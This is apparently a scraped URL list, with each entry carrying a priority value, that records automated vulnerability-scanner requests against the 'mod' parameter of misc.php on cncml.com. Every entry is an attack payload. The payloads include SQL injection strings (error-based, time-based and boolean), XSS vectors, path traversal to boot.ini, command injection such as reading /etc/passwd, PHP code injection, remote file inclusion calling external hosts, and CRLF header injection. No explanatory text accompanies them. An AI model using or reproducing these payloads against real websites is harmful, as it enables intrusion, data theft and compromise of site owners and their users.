http://www.cncml.com/misc.php?action=article&id=43&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=dir 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite 0.0014 http://www.cncml.com/misc.php?action=article&id=43&mod=invite!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%00' 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25%27%29%20AND%2013%3D13%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25%27%29%20AND%2039%3D55%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20AND%2048=88%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20AND%2086=86%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(47=47)%20THEN%20'invite'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=37)%20THEN%20'invite'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%2527 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%2527%20AND%2089=89%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%2527%20AND%2095=71%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%5B%5D 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%5C%22 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%5C' 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite%bf%27 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite' 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND%20'dc'='wK 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND%20'hu'='hu 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20OR%20'ih'='ih'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(66=14)%20THEN%20'invite'%20ELSE%200x28%20END))%20AND%20'ic'='ic 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(84=84)%20THEN%20'invite'%20ELSE%200x28%20END))%20AND%20'd1'='d1 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%22 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20AND%2018=18%20AND%20('aT'='aT 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20AND%2061=23%20AND%20('oN'='oN 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=47)%20THEN%20'invite'%20ELSE%200x28%20END))%20AND%20('wR'='wR 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=74)%20THEN%20'invite'%20ELSE%200x28%20END))%20AND%20('wU'='wU 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite';%20IF(81=81)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite';%20IF(87=65)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite);%20IF(11=11)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite);%20IF(56=59)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invite6633x3X6 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=inviteAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=inviteJyI%3D 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invitealert(42873) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=invitee360 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=phpinfo 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=set%7Cset&set 0.0001 http://www.cncml.com/misc.php?mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/misc.php?mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/misc.php?mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/misc.php?mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/misc.php?mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/misc.php?mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/misc.php?mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/misc.php?mod=%3Cdir 0.0001 http://www.cncml.com/misc.php?mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/misc.php?mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/misc.php?mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/misc.php?mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/misc.php?mod='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/misc.php?mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/misc.php?mod=');print(md5(1122));// 0.0001 http://www.cncml.com/misc.php?mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/misc.php?mod=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/misc.php?mod=(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x627579696E76697465636F6465%20ELSE%2011*(SELECT%2011%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=(SELECT%20(CASE%20WHEN%20(31=25)%20THEN%200x627579696E76697465636F6465%20ELSE%2031*(SELECT%2031%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%200x627579696E76697465636F6465%20ELSE%2031*(SELECT%2031%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=(SELECT%20(CASE%20WHEN%20(42=79)%20THEN%200x627579696E76697465636F6465%20ELSE%2042*(SELECT%2042%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=(SELECT%20(CASE%20WHEN%20(44=11)%20THEN%200x627579696E76697465636F6465%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?mod=(SELECT%20(CASE%20WHEN%20(57=57)%20THEN%200x627579696E76697465636F6465%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?mod=(SELECT%20(CASE%20WHEN%20(63=63)%20THEN%200x627579696E76697465636F6465%20ELSE%2063*(SELECT%2063%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 